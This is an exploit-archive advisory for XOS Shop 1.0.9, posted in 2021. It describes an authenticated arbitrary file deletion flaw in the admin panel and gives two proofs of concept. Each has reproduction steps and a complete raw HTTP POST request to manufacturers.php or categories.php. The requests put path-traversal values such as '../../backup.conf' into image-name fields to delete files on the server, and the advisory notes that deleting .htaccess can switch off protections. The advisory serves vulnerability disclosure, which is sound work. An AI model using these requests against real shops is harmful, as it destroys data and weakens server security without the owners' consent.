exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

XOS Shop 1.0.9 Arbitrary File Deletion

XOS Shop 1.0.9 Arbitrary File Deletion
Posted Jul 26, 2021
Authored by faisalfs10x

XOS Shop version 1.0.9 suffers from an authenticated arbitrary file deletion vulnerability.

tags | exploit, arbitrary
SHA-256 | 6f8b017fcb905dadb6bf19edef6c377d8386f4f1960c35cbb20f753ea24da872

XOS Shop 1.0.9 Arbitrary File Deletion

Change Mirror Download
# Exploit Title: XOS Shop 1.0.9 - 'Multiple' Arbitrary File Deletion (Authenticated)
# Date: 2021-07-25
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://xos-shop.com
# Software Link: https://github.com/XOS-Shop/xos_shop_system/releases/tag/v1.0.9
# Version: 1.0.9
# Tested on: Windows 10, XAMPP
# Reference: https://github.com/XOS-Shop/xos_shop_system/issues/1


################
# Description #
################

# XOS-Shop is a further development of the well-known open source webshop system "osCommerce". The XOS-Shop prior to version 1.0.9 suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.


##########
# PoC 1 #
##########

Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php
Vulnerable Code: line 66 - xos_shop_v1.0.9\shop\admin\manufacturers.php

Steps to Reproduce:

1. Login as admin
2. Goto Catalog > Manufacturers > edit any manufacturer
3. Upload any image as "Manufacturers Image" and click save button
4. Then, tick "Delete" checkbox and click save button
5. Intercept the request and replace existing image name to any files on the server via parameter "current_manufacturer_image".

# Assumed there is a backup.conf file in web root

PoC #1) param current_manufacturer_image - Deleting backup.conf file in web root

Request:
========

POST /xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------120849309142309531191692203678
Content-Length: 1305
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=edit
Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1

-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[2]"

App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[1]"

App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[3]"

App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[2]"

app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[1]"

app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[3]"

app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="delete_manufacturer_image"

true
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="current_manufacturer_image"

../../backup.conf
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_image"; filename=""
Content-Type: application/octet-stream

-----------------------------120849309142309531191692203678--

---


##########
# PoC 2 #
##########

Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php
Vulnerable Code: line 154-156, 167-169, 421-425, 433-437 - xos_shop_v1.0.9\shop\admin\categories.php
Note: Multiple parameters affected

Steps to Reproduce:

1. Login as admin
2. Goto Catalog > Categories/Products > edit any category
3. Upload any image as "Category Image" if there is no existing image and click save button else,
4. Tick "Delete" checkbox and click save button
5. Intercept the request and replace existing image name to any files on the server via parameter "current_category_image".

# Assumed there is a backup.conf file in web root

PoC #2) param current_category_image - Deleting backup.conf file in web root

Request:
========

POST /xos_shop_v1.0.9/shop/admin/categories.php?action=update_category&cPath=&cpID=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------95672159210084798032704634599
Content-Length: 2524
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php?cPath=&cpID=1&action=new_category
Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_id"

1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="current_category_image"

../../../backup.conf
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="category_name"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="current_categories_or_pages_status"

1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="delete_category_image"

true
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_image"; filename=""
Content-Type: application/octet-stream

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="product_list_b"

0
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="sort_order"

10
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_status"

1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[2]"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[1]"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[3]"

Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[2]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[1]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[3]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[2]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[1]"

-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[3]"

-----------------------------95672159210084798032704634599--

---


# For more explanation, you can refer to the github issue on XOS-Shop via https://github.com/XOS-Shop/xos_shop_system/issues/1
# The affected version is prior to v1.0.9.

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close